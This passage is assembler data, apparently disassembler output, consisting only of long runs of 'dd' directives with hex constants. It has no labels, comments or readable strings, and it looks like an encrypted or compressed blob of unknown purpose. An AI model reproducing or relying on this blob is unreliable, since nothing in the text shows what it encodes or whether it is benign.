0F90C40F3h dd 648F002Dh, 227FE9B8h, 98006821h, 0E6F7075Fh, 3D1E4FC4h dd 0EE017D76h, 0D8F54456h, 101FE4ADh, 0F786C300h, 973DF247h dd 0F614F67Bh, 0F8907E0Bh, 70DC0035h, 0DB66501Ch, 0E3760D3Dh dd 0D00AC171h, 0E462E891h, 0D1C80B00h, 98A3DEE7h, 0B0C07CB8h dd 60D95C3Fh, 383DB300h, 9D91FC2Eh, 0B64B3001h, 0BC253762h dd 6BDFE1F2h, 3567C30h, 8F70A511h, 0FFD0E62Ch, 0ACA0B9CCh dd 5190E7A7h, 5F1B7B1Eh, 0F72BF300h, 2455FEh, 61BDCC84h dd 46155387h, 671ADB00h, 4F34F25Ch, 0A978E1h, 7DBB0AA1h dd 0D063A47h, 6C680B00h, 0B33E2183h, 0FCDD1F0Ch, 30AF0075h dd 22C641E6h, 0E100F7FAh, 0A8098A62h, 0C8CCCBh, 94B12B65h dd 0BE4243F4h, 892AFF1Dh, 0E40CD740h, 1DF6066h, 712CD0EBh dd 216D18BFh, 0D74E4EBh, 563D4500h, 0C87E515Eh, 7E1B059h dd 38022709h, 4B50004Ah, 76004132h, 43954708h, 1D2C7BACh dd 0C085679Bh, 65DBE257h, 8300F891h, 0B4B79A20h, 176CE4h dd 0A384463Eh, 1E47B63Ch, 10AA9D01h, 853C83Fh, 0CEA4E8h dd 206D3D7Ch, 0FB9DBE5Bh, 6BB34300h, 0DA9A36C0h, 0C1E000F5h dd 0C8ECB8F9h, 340006C4h, 0E7A3DD3Dh, 44CF62h, 155D03E1h dd 87EC0FC7h, 0A2C4A907h, 11104D71h, 7E56FE81h, 0FBB800BBh dd 0C5120C7Bh, 0DFB8D385h, 17FD6F00h, 0AD012AA2h, 7A9B824h dd 0C6FB0F28h, 0C33DE113h, 50C28095h, 638980FAh, 29AF062Ch dd 38A49C48h, 356DBA14h, 2D4CE7h, 9F91CF4Ch, 3F5C6F6h dd 6955A49h, 53E9FCCAh, 304A319Ch, 310167AAh, 0A2E2F48Bh dd 289E3E7Eh, 0DB454070h, 2D9DB288h, 0B5527800h, 1B7EAE3Ah dd 0FFAD000Ah, 55BD4F20h, 0B9004C05h, 0AA29AC8Eh, 7AB7CB09h dd 53FF072Dh, 50923768h, 9BD532FEh, 0FB834907h, 0FA304336h dd 3B1D9441h, 0A6183801h, 0E46118E1h, 7D846B54h, 8035BE00h dd 0ABE73AB1h, 197C00F2h, 0D68FFE64h, 327A8106h, 0C2591E1Fh dd 0D701BB5Dh, 0EFD8A4A8h, 403A1980h, 0F0A9398Eh, 3154E600h dd 3F694A4Bh, 7C9A08Bh, 19220479h, 87EF2921h, 0F4D5A08Eh dd 6500C72Eh, 137D9067h, 14559572h, 0D450DD39h, 6E426306h dd 960FBEFAh, 80045297h, 86AE5961h, 7CFC00B0h, 0B130542Ch dd 0E91C5FC4h, 0D5809A76h, 2D368020h, 9B7FD9h, 9C79530Fh dd 0C0EF5086h, 0C5B5560Eh, 0CF401E5Eh, 88640CC7h, 9A240011h dd 0E8A9ECAEh, 2D00E692h, 0EEBE83A0h, 351519h, 0DF56FC4Eh dd 0CE58D645h, 0A5F09300h, 0E05DB9E7h, 97D94C33h, 7D94007Dh dd 0D1E265Fh, 643CE309h, 0C1340059h, 58703D9Fh, 92361CA7h dd 0FA328E1Dh, 4B13FC0h, 3C0A7377h, 0D898D86Eh, 1B07A804h dd 149DD140h, 0C7003D6Ch, 7B51F810h, 710259C5h, 618D0091h dd 0D76C27B6h, 0C603D86Bh, 1C4E8546h, 4DAAA897h, 1CA000Ch dd 2D7BCE80h, 0B900C247h, 0FBCC0522h, 3065FD83h, 0DB28D166h dd 0B200E96Bh, 2B7EBB9Eh, 0E1AEA01h, 4DC710Eh, 9FC9E201h dd 1D05F01Ch, 0B6700200h, 589CFD59h, 0A0B248DFh, 0BA9E1A00h dd 79845B54h, 0CFF86D7Dh, 42047D00h, 7A213D49h, 0F4E000FDh dd 9733856Fh, 0B660C630h, 17EEDB59h, 0D6F100BAh, 2139A967h dd 4903239Dh, 1A5D2F16h, 0B9A59073h, 3DD9000Ch, 0DDD63CEBh dd 0E805A4EAh, 9E433750h, 5EAFE403h, 0F084CBD4h, 123199h dd 0B467F4Ah, 9D37D83h, 9AD8E91Fh, 710F0A1Fh, 89CE43E0h dd 0E0AAFB02h, 0B5DD4Ah, 9852F795h, 9D1CBA5h, 0BE25343Ah dd 0DEAD02AFh, 80CC0686h, 0F6C68894h, 9DC7005Dh, 54D54278h dd 7301D99Ch, 0CF1B1D2Eh, 49E8CCFAh, 94040786h, 0A3A8EF91h dd 0A9B842AFh, 7C007058h, 129D3341h, 3EEFBF80h, 260423C7h dd 0C0C0DBF1h, 0ABD1050Fh, 5900977Bh, 27E308F2h, 9E201Fh dd 642CC236h, 7463172Bh, 0F89BA000h, 73726AD7h, 480B00A2h dd 46DF2757h, 2F00EED4h, 456E8A79h, 0A00C4Ah, 0B6395352h dd 0EFC246A8h, 6F006A70h, 0F13E45C0h, 0ED935Bh, 0EE13976Bh dd 0C6CE0BFAh, 0B3597F00h, 43416CA5h, 0F9AF00B6h, 0BEE70C7Ch dd 3B04AC92h, 5514B3CCh, 0BA690C80h, 0D2770083h, 0D748FFA8h dd 0E0042C9Bh, 2D060CADh, 0B759CC0h, 0A238025Bh, 689BA437h dd 0E8251049h, 4303EFEDh, 0D7557A4Dh, 19F9E8E8h, 11100D1h dd 6C7B95B1h, 500FBA6Fh, 0EE240D4Eh, 60ACEF27h, 2E91A230h dd 0DA1C009Ah, 731303BCh, 0B3005EFCh, 94CDFFD8h, 18C58A4h dd 9EB4973Ch, 0F062497Eh, 502CA59h, 83DDF908h, 43B660D3h dd 3541002Eh, 54E9A5E8h, 40783682h, 9D955700h, 0C88C4DC2h dd 67E80034h, 3DA64B74h, 11D1A5Fh, 0D2C0B0D9h, 62CA7D8Ch dd 0EC5804B5h, 0C0B49A23h, 56471B3h, 1455500h, 0CF5BAA73h dd 0A8C000Eh, 8AB9A610h, 7F482AC3h, 543F0038h, 239A1D17h dd 93D4009Eh, 62846DECh, 5E4FEAE8h, 70017400h, 3CE5F0h dd 4C4B5A1h, 9B213FDAh, 311D6600h, 0C8EA15FDh, 8CC00F4h dd 4A9FB9D0h, 46004CCDh, 0F8161C3Eh, 64B3A2h, 8835FF91h dd 821FE470h, 173CABB8h, 66260097h, 0FC1C44F0h, 77E70031h dd 0B97B9C20h, 0CB03A43Dh, 0DCCCD12Ch, 62219850h, 0EF7CD5h dd 700E41B5h, 25EAD298h, 1FA23F02h, 6080B71Bh, 24FD71h dd 365053F6h, 27A171E6h, 0F9A811C3h, 37D883Bh, 66843D1Fh dd 7C38F300h, 206C51Ch, 8920BB03h, 0A8CBD6D1h, 188CA2BDh dd 3E147881h, 0EE0015AAh, 5537BFB6h, 0F0227Ch, 0FD191D33h dd 0CCF9254Ch, 5DD6E000h, 227B3594h, 0EC0900DAh, 3EADC5BBh dd 7F3CBCD2h, 3BC7095Ah, 1C1280DBh, 7EBA7C24h, 0B7AE0F5Dh dd 0DF265E90h, 0F40021D5h, 0B6AB0D07h, 6210EAh, 22A82E74h dd 0D43B06CAh, 0F97754C0h, 380FE416h, 5800FDC2h, 8C28318Fh dd 5D00B449h, 4826DC33h, 1413DFBDh, 88FC6C6Eh, 8F242C00h dd 0E6E2DA91h, 0C21EDC00h, 0F7C75795h, 0BE613DAAh, 19D80078h dd 0ECF46C48h, 0F2009D59h, 0AC551590h, 78C606Ah, 0B1821141h dd 8691A048h, 7400E334h, 2D8EDA32h, 7AB407Ah, 4D83A3E4h dd 56190055h, 90006C79h, 6ECC49E2h, 38417BCh, 152A541Dh dd 4A0093A8h, 14E77DD6h, 3BDB98Ch, 2A7B4287h, 1CC39FEFh dd 0F85F1600h, 220A8BAAh, 90FFE647h, 98E50363h, 92DF02F5h dd 0B351A2E0h, 0D1BBE300h, 0DE04FCD4h, 6CA0A017h, 94FA47h dd 81FD0307h, 60730D9Eh, 0BC72C400h, 375B3024h, 0AC2C00F7h dd 0D9A52ECAh, 32589011h, 8857073Eh, 494039C8h, 5DC8D47h dd 275ED7E9h, 12CDC084h, 900E411h, 4F7A2596h, 58265Dh dd 0DBCF3A22h, 0E2B77228h, 4AA51303h, 0A8088BEFh, 1E7A95h dd 21913186h, 0B2D944DBh, 14CC83Bh, 0EEB0EB89h, 8857A966h dd 6094B680h, 0BA91076Ch, 0F0C15399h, 0F035DC68h, 0D4B9BC00h dd 0F1E99B4Dh, 4F7CEAh, 37512B25h, 0D289D62Dh, 7C8F0800h dd 56AA7E62h, 0CEF03F9h, 0E3908A9Fh, 21339ED0h, 0A37DA600h dd 353FFA11h, 3EDE5899h dd 0B7751200h, 2AD42C0Bh, 46566303h, 0E2152118h, 0C030E004h dd 770F272h, 7BC555E9h, 8D8E503Ch, 0DE00CB4Ah, 33AD51F0h dd 1CD2B074h, 0C03CCEE5h, 243D3EDDh, 0C95887B7h, 1B170065h dd 2F0B4518h, 58FE75h, 88703521h, 0A57B2DF7h, 80842338h dd 505D4AE5h, 0EB4B41h, 8CF73C52h, 0D48863DEh, 130BE171h dd 8043C25Ch, 0B1601CB3h, 3C4A3B84h, 80FBBE00h, 9AD5D153h dd 91AC100h, 20C4A23Bh, 327100BAh, 0FCF83451h, 3498165Dh dd 0D5CBA718h, 2241AF9h, 1F15970Ch, 0D2E0BD47h, 43011B2Eh dd 945BF6E3h, 0AC20F296h, 8F7E00F4h, 3AEFA744h, 10FF535h dd 842EABh, 29874091h, 56A20134h, 9C4BB3FEh, 371620E0h dd 8055263Bh, 0DE46A545h, 0B0598Fh, 6134A347h, 0F7FE3A20h dd 758B5E1Dh, 0AFF82280h, 368F7Fh, 0AE192CBDh, 0C4D93E78h dd 0A060A8A0h, 0CDA44B00h, 1ACE22E9h, 0BD410091h, 0A7F5AC97h dd 2E03CBA6h, 0A104AF92h, 753FF00Eh, 1AD11E4Eh, 0E54300FFh dd 0A42B1E7h, 86125473h, 0B400352Eh, 8C198305h, 263F7F38h dd 402961h, 1B3284D8h, 0AB003D7Ch, 0B76830BCh, 0D3AAB1h dd 78DB8BAEh, 0A64A6410h, 3CC80900h, 3E91E47Dh, 0AB8A0467h dd 0C534B86Ah, 23346788h, 0D000B782h, 740ACD0Ch, 0E4660E1Bh dd 0A5D800DAh, 0DF475F8Fh, 760F4986h, 0E069FFBCh, 8854FB0Dh dd 0C1120A4Eh, 0ECC1F7Ah, 23207E42h, 0AFAE5E9Ch, 62D559C0h dd 7CD6DDA7h, 24F200C9h, 0F3E86884h, 7D2E5636h, 7C00D181h dd 0CC7794ABh, 0A6913AA1h, 68392500h, 110BE23Dh, 520088FEh dd 9B071F79h, 7B6EAECDh, 8A1801D0h, 6526E405h, 11F4F002h dd 7E41AF48h, 884B4Ch, 0FAB6427Fh, 7A98652Ch, 11609984h dd 80C43F96h, 5F3FA11Fh, 0BAC0A3h, 7981C57Ch, 3D266953h dd 19A3200h, 7ABFD2E7h, 0A2D00E5h, 8987DD07h, 44725F7Ch dd 0AD002279h, 0CC618FCEh, 8C7BCAh, 9F39F3BEh, 4DB4D9A6h dd 15441C00h, 25949D7Dh, 93C100D2h, 3041CCA2h, 903DD3Eh dd 6423BC14h, 0B2BB84Bh, 0E29E00AAh, 76710284h, 0E17EBEB8h dd 1F17AD00h, 293E0188h, 1B0B03CAh, 57EC50FAh, 9258DB98h dd 78689A00h, 0F633BA4Eh, 0FEC50CD4h, 144825DDh, 0BCABD22Ch dd 0CD831000h, 0C0A818A1h, 593FCE58h, 88004ABFh, 9D0B64E2h dd 22F0F9h, 1C5398A8h, 0D1322F65h, 619B6B02h, 808A8FC5h dd 0D6943AA3h, 0A0C6A1AAh, 807DA3CFh, 800807h, 8174CFE3h dd 0A5A29188h, 8AF9DB00h, 1A6B4910h, 1757C0Bh, 9C89D338h dd 0C8294AD7h, 0F0EC5BDh, 2F321C90h, 93658125h, 0E0E4A292h dd 0C96900A4h, 0C4D51DF5h, 34018170h, 19D9B028h, 28806DE2h dd 7E3D4D50h, 7A00D835h, 7364B1AFh, 58A3CCh, 4C7289E5h dd 574E6E3Eh, 0F5365500h, 4BF9021Ch, 0B3EE46h, 0FAC201F6h dd 0D7A7285Eh, 0F2136400h, 219273ECh, 0B72C3AF5h, 45184F9Fh dd 7A751DCh, 5054811Ch, 1A4473D8h, 8200417Ch, 3325D9E1h dd 0FA45B6h, 0A7F77E5Ah, 0CD9544C6h, 0E59524Ch, 0E7034A85h dd 36D0639Ch, 832547h, 0C40232ABh, 5710E3B9h, 0DCBC3400h dd 0B213FB96h, 39E5B893h, 780905Bh, 0B8F74D7Dh, 3C00543Eh dd 77BF7AC0h, 1E0571h, 28F68C84h, 0E6554BE2h, 60F5D800h dd 0C691EBA2h, 0C0320061h, 65861AA8h, 15005626h, 883F3EE4h dd 0F0E28Bh, 0D91CBEB9h, 9E8F57CEh, 0EC733177h, 439AF20Eh dd 9145C7F6h, 0D0BD8A93h, 3F5B27h, 2355C501h, 6D47EDB7h dd 6A6E9400h, 7316E85Ah, 898600CAh, 0AC23ECB6h, 0F2007A3Eh dd 1E76AB4h, 1767D161h, 7E3387Eh, 71D38CE4h, 83D42AB7h dd 0C9ADDEEAh, 42C4A0F4h, 9AB900F7h, 0C849419Ch, 7B0FD4ACh dd 400B3CF9h, 1E846AE6h, 0EB6E0969h, 1B80C9E9h, 64681BEDh dd 79C0887Fh, 994EFFA6h, 494B08Ch, 5851B14h, 28EFC036h dd 0A600B3E4h, 73F04C23h, 7126C65h, 1CCC1D01h, 0ECDAC0B7h dd 2A00A802h, 8A7E35F6h, 300A0652h, 0EA50A997h, 0F0749E31h dd 0FA374E07h, 7950BA22h, 9C1E172h, 32892E46h, 0B4E3A801h dd 1AB680B8h, 0D5C6827h, 40D10F0Ch, 0E7C0F307h, 0CB75D862h dd 4B2DAA00h, 0D025EC48h, 719A0094h, 89DAA015h, 0DE00C457h dd 0ABA6C2F3h, 60AECA10h, 3BA8E8ADh, 593F765Eh, 663F00FEh dd 86388909h, 247700DCh, 91A3EB72h, 1200F54Bh, 0CB6237F2h dd 30CE1FBh, 0E5A58BA7h, 7DE83F43h, 5C0C3CB8h, 0F8285986h dd 797A006Eh, 32155B17h, 490097EAh, 0F385404Eh, 7C6BB5FDh dd 7E5FA70h, 2211CDD1h, 0DBE1BF5Fh, 6077A339h, 0DF0B7C21h dd 8068F254h, 802FB02h, 7DD1120Fh, 24C00060h, 9028F467h dd 0B8AC4Ch, 0C8B7883Bh, 60B6525h, 2D1C0CE4h, 0F300B0AAh dd 2FDC391Fh, 255DB1h, 3DCF6378h, 9DE7FF5h, 0F0FC9498h dd 0E157D70Fh, 78C407A0h, 4CEAAFD0h, 6CF9008Fh, 0BF238E43h dd 0DD712D02h, 0BA985E14h, 628700F6h, 0B34BCD72h, 0BB9400FCh dd 0EDE92321h, 9500F6F5h, 5BF128B6h, 0E1F7Bh, 11992BD6h dd 8E453D20h, 0D1C96E00h, 1C1073A4h, 8B9B0030h, 6BD6C4BBh dd 50B9A63h, 12255FDh, 5C2C9518h, 79C34760h, 0DDB20709h dd 81C959D4h, 0F8EA2082h, 46008E68h, 6A31FA62h, 1DB292BBh dd 6F8111h, 9D44FC2Dh, 7659BEABh, 0B3830354h, 80C9056Ch dd 35C6DA7h, 2734936Bh, 7080187Ch, 0AB00047Ah, 0C3551ADCh dd 4CBB4A45h, 780004F1h, 0D7FEBD74h, 0DB009BA2h, 0BF4E8C2Ch dd 0FA3D81h, 0F2F37C2Bh, 0F1E0CD93h, 6D002077h, 1D7896CCh dd 4CD8AFh, 0E6093F02h, 22BF9CE4h, 0BD7DAD00h, 6193DEB2h dd 6D8F00CFh, 67A21019h, 91098B57h, 0D53347h, 41409456h dd 61D003C8h, 0D1E717C4h, 586401B0h, 0EAA22000h, 84A192AAh dd 18DE09Ah, 41439D7Ah, 0CC2CC8BBh, 0D102EA78h, 0B4D0D2A6h dd 6DB480D3h, 19A8B073h, 18D48D72h, 45CE407Eh, 9C3E5137h dd 0FE44833h, 204BCB70h, 5DC1BBE6h, 1B992C7Ch, 69F8006Eh dd 19A33D95h, 2101D490h, 96A565Ah, 5660AA9Bh, 0E84350ACh dd 0DD9600F0h, 64AB38Dh, 8C00B0DAh, 0CC337B12h, 0EA2B73h dd 2C15B9A7h, 1C32402h, 0B89C3800h, 2D605313h, 1D970123h dd 305BEB1Ah, 20A2FD4Ah, 340098D8h, 5C536125h, 3D1415AAh dd 20E1D4Fh, 2EE0D7D1h, 0D612494h, 8AAA900h, 0B5982DCAh dd 0E10200C1h, 54EF5328h, 16006212h, 6CA9F0A3h, 2696D5h dd 0CA3EE9B9h, 74894FE4h, 0CF4C7D00h, 0C845F52Eh, 0B87A48ABh dd 251CD00h, 9A8A9C62h, 1285583Ch, 1440FDFAh, 4AEB0B2Eh dd 7FDAF490h, 807A30F0h, 0F4B865B8h, 14073Bh, 6A8ECF18h dd 67DFA7h, 0B5F8A8ECh, 0DE11D77Eh, 0DCA1FA00h, 0B7830B6Dh dd 3B800038h, 9504AD0Fh, 2275D4EBh, 803D107h, 7505F172h dd 7AC5B800h, 29A3DAh, 389092D6h, 84B35EF4h, 9AAD3B07h dd 20DFFD62h, 88366A19h, 4A1807AEh, 4184EA25h, 0E8F1D448h dd 0A800BAF0h, 285C5B7Ch, 977AFC0h, 665422C1h, 0ECE15800h dd 0CA71DF90h, 0CE44F700h, 0C1D33697h, 2B950F0Eh, 0DF20A0B4h dd 0C0A83B88h, 0B3E74C00h, 0F2C2BF09h, 8D690FE0h, 44C0653Fh dd 0D58160CBh, 5138600h, 0AF6F9BC8h, 3854003Ch, 1D6BFBBFh dd 90901F8Dh, 0CA6D0400h, 0E8714E21h, 0FCA3BDh, 0F4E19610h dd 0F7D381A9h, 0DF0FABEEh, 2078A5E9h, 0D09DB7FBh, 8B360065h dd 0FEB342D6h, 130FA4B5h, 514E4Ah, 171D1B8Fh, 0E838001Eh dd 8A8D63DAh, 56E293EEh dd 8BD40400h, 46FEAB5Ah, 9FBA0E27h, 0E7409CF9h, 0A507C5C8h dd 8837C7A0h, 4073F201h, 2DA04225h, 20003428h, 0DAB864E4h dd 3000E519h, 59FF05Dh, 0E380E6h, 0BE826553h, 2773A9B9h dd 92761DF2h, 5A00CFEEh, 0FC440512h, 0FCAD1BBBh, 7F670142h dd 6F230F5Eh, 0EC70343Ah, 0B680C60Fh, 5AE06608h, 5D410308h dd 9CD6D4CDh, 0A5888900h, 5F353A2Fh, 824A3A1Dh, 86B1413Ah dd 0F1524920h, 267E803Fh, 33B9188Eh, 0BC870EE1h, 7D809DECh dd 74E84B44h, 143B5AE0h, 7CB08C8Eh, 0B6610Ah, 0CB6B8898h dd 0BCB861C2h, 87DA483Eh, 0D11FE89Ch, 879A26F0h, 0A930C091h dd 14543B2Dh, 49F3B200h, 5A3DBE66h, 869100D7h, 7A9BC0CFh dd 800A9B8h, 0CD0189ABh, 1BB4D212h, 8116FFF3h, 0D4307876h dd 0B923103Ch, 0C848C045h, 0AD32EB44h, 0EEE49600h, 29191881h dd 934A1FBFh, 296518BEh, 888E980h, 35864055h, 83805DFEh dd 417C896Eh, 12F91D28h, 8B148311h, 0D80AD441h, 0E2AE0C28h dd 0CA6EFD29h, 104C0078h, 13BD052h, 4E99AB9Bh, 0E0EE2432h dd 840080D4h, 3A6AB5DCh, 0B62CEh, 0EF8D73ABh, 0E6AADB64h dd 0E8751300h, 603C56EDh, 0CF2009CDh, 28801679h, 0B9BFFEFFh dd 0CB59F903h, 0DFC97099h, 0AF40E5E3h, 0B533AE70h, 87338A6h dd 0B8621A03h, 77A08CC3h, 461F3BAFh, 6501844Ah, 0E8D3AB01h dd 1FF827E0h, 9FB668CEh, 880079D7h, 0D970852Bh, 25263A92h dd 40007475h, 0D4A6832Dh, 0FEA93DBEh, 412CF69Fh, 91CFED53h dd 0D8542548h, 0B9009332h, 0CBD53FC7h, 0F5EBD6h, 0C9A6777Ah dd 0D86F4B10h, 89335E00h, 21EE6427h, 1976264Fh, 25320094h dd 0A95EA8E9h, 2C677F0Fh, 8621B8B6h, 74900341h, 5ADF9D16h dd 775EABF0h, 0BDE9A403h, 70DCD5h, 7066CE0h, 4771BE5Ch dd 0DA1CA500h, 22574024h, 77E082h, 9B430C23h, 75C7F439h dd 34909EF2h, 2717260Eh, 588EC090h, 0BE4436h, 94D1164Dh dd 0FCC95B57h, 0B8777271h, 0BA0E4379h, 39C588h, 56BF0699h dd 0CEFD0055h, 641B359Ah, 0EE1E222Bh, 0A38091DBh, 0B137CA6Ch dd 0C33030Fh, 0CCE77019h, 1505180Fh, 0E799AE9Ch, 65204571h dd 0B0BEB6h, 6418FCB2h, 5CAC1994h, 44AF9300h, 0F405CD71h dd 9E980180h, 0EA68F16h, 0FA9FC4EFh, 11CEB000h, 35E5CB69h dd 0D851CF2h, 14E8C168h, 0CC8A566Dh, 595C5464h, 19B2003Ah dd 0F1805D8Ch, 0B32B4846h, 4C75F407h, 6B4870BDh, 0E300519Fh dd 6D84F7ADh, 1276067Fh, 6718BAh, 962B15C8h, 0CE003DECh dd 5D7A050Ch, 0D2744Ah, 7C57F5C8h, 0CFFE6D23h, 600FF9F6h dd 803E1EA4h, 1DC42CE0h, 2E7239h, 26AF5E25h, 7A124955h dd 6C007890h, 0CD7F976h, 779C32ACh, 48EB78BBh, 0B60010E1h dd 19FC58B7h, 0F879D912h, 9E5C9207h, 5D741BA2h, 65DA3090h dd 10C90DDh, 0E436EF99h, 0E0EA9680h, 0E93B452Ch, 0AFD60066h dd 2E0A64EDh, 31711CCEh, 0A02EE6h, 0A081922Bh, 9C1FE537h dd 0E40EAECh, 86F35A75h, 92940021h, 9ECEACA6h, 88004DB4h dd 0F1E280FCh, 9077D3BEh, 3AE600E0h, 9EC8DE9h, 2900B870h dd 0C6D22203h, 0A0EF88D9h, 78C17CFh, 5CDCDE9Eh, 5584D0E6h dd 2F161BAEh, 0EB5A0Fh, 0E17E31E1h, 0E002317h, 0AB24D8ADh dd 0A334E7h, 28714BD9h, 0E5791618h, 313F6C00h, 0BC12FEA1h dd 0D5E7016Bh, 580D1141h, 16B730EDh, 179ED300h, 4EA75A5Bh dd 0BD0600E7h, 0FAE165CCh, 2200E373h, 44CD051Dh, 7B4A69Ah dd 647CB3A9h, 77275135h, 82CCC089h, 0DA3FEA00h, 0CBBEDDB7h dd 5C00033h, 0C4949804h, 0AC0FE94Dh, 0E0B0303Ch, 0FDF7B602h dd 1592000Dh, 296D9D25h, 0DB07A623h, 94149789h, 0FAB7C5A0h dd 55510027h, 1036263Ch, 8200CF2Dh, 0ED88C68Ah, 26CCB0DCh dd 38318Ch, 0DF0222Ch, 0FE0374F9h, 89C81779h, 0D5299853h dd 0D6720046h, 6F56D01Ch, 4500336Bh, 288990F1h, 1183DC7h dd 9257938Ah, 0EC9864EEh, 17F8FDDBh, 0B100A979h, 0EA8D4962h dd 4872C06h, 8F430109h, 36ECC037h, 0F0A96902h, 4292C87Bh dd 0E7748A00h, 57B21B05h, 0B07AF1CAh, 0E60BECCDh, 81635C73h dd 1FD19A97h, 0B3EDC13Fh, 68B5C083h, 0A9222700h, 6387E60Fh dd 387C0039h, 8CFF1EEEh, 3000EF03h, 72D10258h, 159CEA6h dd 1DC19E8Fh, 247747DDh, 0A870B79Ch, 480F6C17h, 0BFDC2180h dd 922A0178h, 8FC53FCDh, 2B70F04Bh, 0FDF47906h, 9848D9h dd 0D1997329h, 87518F6Bh, 0F191BA07h, 0E00F8536h, 0B9A2215Ah dd 0E42B4C02h, 0AAFECA00h, 68A8414Fh, 93C36500h, 6ECD6CB3h dd 0E8270F64h, 4182B73Eh, 0D4803D32h, 0D2FF284Bh, 85D6B604h dd 0D4C016C7h, 0C3A4C8Dh, 12B18F27h, 2C124E88h, 0A5001FA0h dd 91F6D043h, 881D6011h, 0E247A5Ch, 3B32A501h, 0A039BFDh dd 1E7C7BD4h, 0DFD5EC85h, 0F2017FC3h, 3776938Bh, 0C938008Ah dd 3D490C6h, 0D8EDE72Ch, 0E8875AEh, 0B973C0F4h, 0BC00E2F8h dd 0D4984A47h, 24FED936h, 78A0EBh, 545EC07Fh, 6E005A65h dd 9BBC1B31h, 0D9023h, 0F2EDEA22h, 8993CB9Ah, 0D8947B00h dd 0B59BF6F3h, 19DC0008h, 0A7125D75h, 290013A9h, 81336644h dd 26DF28F6h, 1C0DACBFh, 0A4FDC086h, 776FDD82h, 0A0801C00h dd 991879C3h, 0E5761Dh, 0C40BC1F9h, 74B3389Ah, 0AC817A13h dd 4068090Eh, 0CE22554Dh, 0B71A005Eh, 775A11A9h, 1C008057h dd 6F437D35h, 0D6F514h, 0AABFF321h, 0B888E633h, 2924F60Fh dd 5DBB001Bh, 9D6186h, 0A362457Fh, 0FA5789CAh, 0A4EBE007h dd 8F20505Ah, 0B44BCBh, 4E1920BEh, 0B859B16h, 4A08DD00h dd 8FB01DF3h, 0D0910044h, 0E8E33FD9h, 0DB2C0BABh, 0E200CA28h dd 0F30FFC6h, 0E01701B7h, 0D3E18886h, 8A388024h, 0BB26DAA2h dd 4C482EB9h, 0C53930CEh, 0A00030F1h, 1F0B7ED9h, 3BDD1Eh dd 0B139CE62h, 0F9D1A255h, 53779401h, 223C42EBh, 0A02AA0DFh dd 1E180096h, 4563A9Ah, 19C0E2EDh, 327A8925h, 0DA3300B8h dd 9DB49CFCh, 710075D4h, 0A4E059C4h, 1A2F97Fh, 0E2963ECAh dd 80B6701Ah, 464B6920h, 0E676248Ch, 9206009Fh, 1DE7C59Ch dd 0CB30EF36h, 794828DAh, 37D1D24h, 0D012C0D4h, 1FDB43EEh dd 1A762200h, 30DE5D59h, 17FA41h, 91A2185Ah, 831FA578h dd 0CE4BC400h, 988DDE4Fh, 0A7C60F05h, 6000FF3Dh, 0DA2201ACh dd 0DC348B07h, 0BC762EF2h, 32C23F58h, 8FDE5400h, 0C58B738Dh dd 0BF913800h, 0F9290AB7h, 95B200F0h, 0D64A0DBBh, 0C23CD324h dd 5FF78768h, 25F0EB70h, 13418C42h, 9DFFEh, 57E0FFE2h dd 4E00B1B8h, 34A3355Ah, 889B05h, 422EA90Ch, 691AEF66h dd 4E900200h, 4C85C075h, 0A89A0003h, 9E235856h, 3F01C2CAh dd 0A5050B0Ch, 1AD8B8E5h, 9F900A9h, 0CE5FFE6Ch, 200498Eh dd 0D19F401Eh, 18C4FFB6h, 207203CFh, 2200A8E4h, 3A06B428h dd 4036FCh, 0E2241E12h, 2395C3F7h, 7D0E6AF0h, 405AFF39h dd 247136C9h, 9015504Ah, 159EA11h, 0A586B15Bh, 0C1B8F329h dd 0AC9DE4B0h, 94D7F03Eh, 3FC1E414h, 0E8E059Fh, 0CC13971Eh dd 0A0BA0D06h, 0A1230820h, 0E3C0C5F4h, 7D47B11h, 22129FDh dd 87AB4098h, 0D809DADh, 6D800BEh, 4D076874h, 0EF003D26h dd 0E5D59BAEh, 38E40D3Fh, 0F2008A8Bh, 3EE74BA9h, 0BB00A1C4h dd 3078ADAFh, 0C0940A8Fh, 5184D980h, 0BF1CC4D1h, 36403840h dd 0F49C671Fh, 72D80588h, 236342h, 9E019980h, 3D33A3D7h dd 0A8AD6964h, 247F4C38h dd 873C4102h, 695073h, 0A82CDDF7h, 0F4C6C100h, 8F82EC98h dd 115A001Ch, 9FB4F6ADh, 0CC003808h, 5C20AAA4h, 343046Fh dd 0F7EAE856h, 5001A18Ah, 8069D9F2h, 9457C9E5h, 4E4840C8h dd 0F80143DCh, 0C5B2FB5Ah, 0CDC4C0E5h, 1FA4042Eh, 80E80619h dd 0ABF3BA2Ch, 8E5F7E3Dh, 0A08A0317h, 403F3251h, 5AE0C028h dd 63CB2994h, 0B7B10200h, 0F20F9253h, 607709h, 8D9C2CDEh dd 5C08849Fh, 0EB26FF00h, 0E357C3A2h, 3B42005Dh, 0C099327Fh dd 173064B2h, 0A6D80E1h, 69300ADh, 9B048B26h, 0C5000C69h dd 0E0AF6201h, 0E026440h, 92CB63B9h, 2CCB30Ah, 6BDCBBC5h dd 0B4004362h, 0E9492F41h, 38C2F600h, 87073193h, 0CC1D006Fh dd 769B528Fh, 0A0006B6Eh, 856958ECh, 0DD6DFE2h, 244AB743h dd 86E4C4E0h, 62C81C00h, 0BF703AC1h, 12A75FFh, 0A3ABF53Fh dd 0FE82A6F9h, 86C57840h, 485842Ch, 3F43AE02h, 98F0A0B9h dd 0DE3012Fh, 0B6F31CF4h, 0D50DC0B0h, 38C848h, 5A3E6E36h dd 3FC52A1h, 12BEC137h, 0D09C9EF4h, 0D4242A6Ch, 0E331800Eh dd 384201Dh, 38BF6F93h, 78061150h, 885B66FEh, 0F0F45441h dd 5E81C0DEh, 0E5B950DBh, 3713207Fh, 9CA025CBh, 0BC284C6Eh dd 1B960075h, 748F86A0h, 9400ABC6h, 0F84ED4D3h, 72D29A77h dd 33B1023Eh, 1AE9F08Bh, 8C0C1740h, 3436600h, 6C8964C0h dd 8D0718DCh, 0CBEB8847h, 5400AA98h, 0EA989F32h, 927E1DBFh dd 0EB1F0284h, 9CEE3C9h, 50A5AC80h, 7220B189h, 0BEF832A1h dd 4461B49h, 8F559E00h, 0AF0A7D3Ch, 6B0B0734h, 70F74EEDh dd 3D295FFDh, 0DA5969C7h, 231596C0h, 3F934825h, 77C2C700h dd 0A640B95h, 0E81CE000h, 0EC659C88h, 0E37100DCh, 0A4DF442Fh dd 13077954h, 0BF217C91h, 4085B8F2h, 7F7E21h, 0C6D4A9E7h dd 0CE7A6114h, 6B5F7B00h, 0E1F536CBh, 89F62C62h, 0BD09005Bh dd 8C96A35Dh, 2F8F5F1Fh, 0AB8ED400h, 